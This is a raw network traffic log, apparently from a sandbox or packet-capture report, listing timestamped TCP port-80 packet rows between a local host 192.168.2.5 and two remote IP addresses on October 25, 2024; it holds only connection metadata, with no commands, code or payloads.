Oct 25, 2024 11:18:19.737083912 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737098932 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737113953 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737119913 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737119913 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737119913 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737128973 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737149000 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737149000 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737159014 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737162113 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737194061 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737200975 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737209082 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.737253904 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.737253904 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.819799900 CEST	80	53060	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:19.820440054 CEST	53060	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:19.820795059 CEST	80	53060	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:19.820852995 CEST	53060	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:19.828814983 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.828871965 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.828880072 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.828888893 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.828906059 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.828912973 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.828952074 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.828967094 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.829071045 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829109907 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829123974 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829157114 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.829200029 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.829540014 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829591990 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829607010 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829621077 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.829639912 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.829673052 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.830226898 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.830241919 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.830256939 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.830271959 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.830279112 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.830286980 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.830298901 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.830332994 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.831094027 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.831171036 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.831186056 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.831199884 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.831214905 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.831219912 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.831237078 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.831258059 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.831993103 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.832009077 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.832053900 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.834333897 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.834393978 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.834429026 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.834449053 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.834471941 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.841038942 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864290953 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864361048 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864398956 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864433050 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864468098 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864518881 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864552975 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864587069 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864597082 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864620924 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864670038 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864703894 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864705086 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864705086 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864705086 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864737034 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864753962 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864753962 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864773035 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864811897 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864845991 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864877939 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864892006 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864892006 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864912033 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864950895 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864979029 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.864985943 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.864995003 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865016937 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865080118 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865091085 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865118980 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865153074 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865186930 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865206957 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865219116 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865283966 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865326881 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865326881 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865334034 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865366936 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865382910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865401030 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865453959 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865463972 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865497112 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865535021 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865567923 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865597010 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865606070 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865607023 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865633011 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865667105 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865677118 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865677118 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865700006 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865734100 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865756989 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865783930 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865818024 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865833998 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865833998 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865849972 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865856886 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865881920 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865911961 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865931988 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865961075 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.865992069 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.865994930 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866028070 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866041899 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866061926 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866111040 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866111994 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866144896 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866156101 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866178989 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866214991 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866245985 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866246939 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866281033 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866291046 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866314888 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866348982 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866380930 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866404057 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866404057 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866413116 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866445065 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866447926 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866480112 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866487026 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866487026 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866512060 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866560936 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866569996 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866570950 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866594076 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866626978 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866660118 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866667986 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866667986 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866667986 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866702080 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866719007 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866749048 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866780996 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866822004 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866822004 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866822004 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866842031 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866889954 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866924047 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866925955 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866925955 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.866956949 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.866991043 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867029905 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867029905 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867029905 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867041111 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867075920 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867094040 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867113113 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867126942 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867146969 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867163897 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867182016 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867192984 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867214918 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867224932 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867247105 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867280960 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867327929 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867327929 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867327929 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867341042 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867393970 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867428064 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867479086 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867508888 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867522001 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867551088 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867554903 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867562056 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867588043 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867620945 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867655039 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867671013 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867671013 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867705107 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867738962 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867748022 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867748022 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867773056 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867782116 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867805958 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867824078 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867841959 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867872000 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867881060 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867891073 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867924929 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867933035 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867957115 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.867996931 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867996931 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.867999077 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868052006 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868086100 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868098021 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868098021 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868119001 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868155956 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868191957 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868196964 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868196964 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868196964 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868226051 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868273020 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868309975 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868320942 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868344069 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868377924 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868411064 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868419886 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868419886 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868419886 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868443966 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868472099 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868478060 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868493080 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868526936 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868570089 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868570089 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868577957 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868612051 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868645906 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868688107 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868688107 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868688107 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868695974 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868729115 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868753910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868762016 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868772030 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868797064 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868820906 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868834019 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868866920 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868885040 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868904114 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868917942 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868933916 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.868952990 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.868990898 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869002104 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869024038 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869059086 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869081020 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869093895 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869127035 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869177103 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869210005 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869242907 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869255066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869255066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869255066 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869276047 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869301081 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869313955 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869347095 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869380951 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869388103 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869412899 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869452953 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869452953 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869466066 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869498968 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869535923 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869549036 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869549036 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869570017 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869621992 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869664907 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869664907 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869664907 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869671106 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869704962 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869738102 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869745970 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869745970 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869776011 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869801044 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869848967 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869883060 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869916916 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869918108 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869918108 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869946003 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.869955063 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.869987011 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870012999 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870019913 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870054007 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870088100 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870100021 CEST	53037	80	192.168.2.5	104.26.10.81
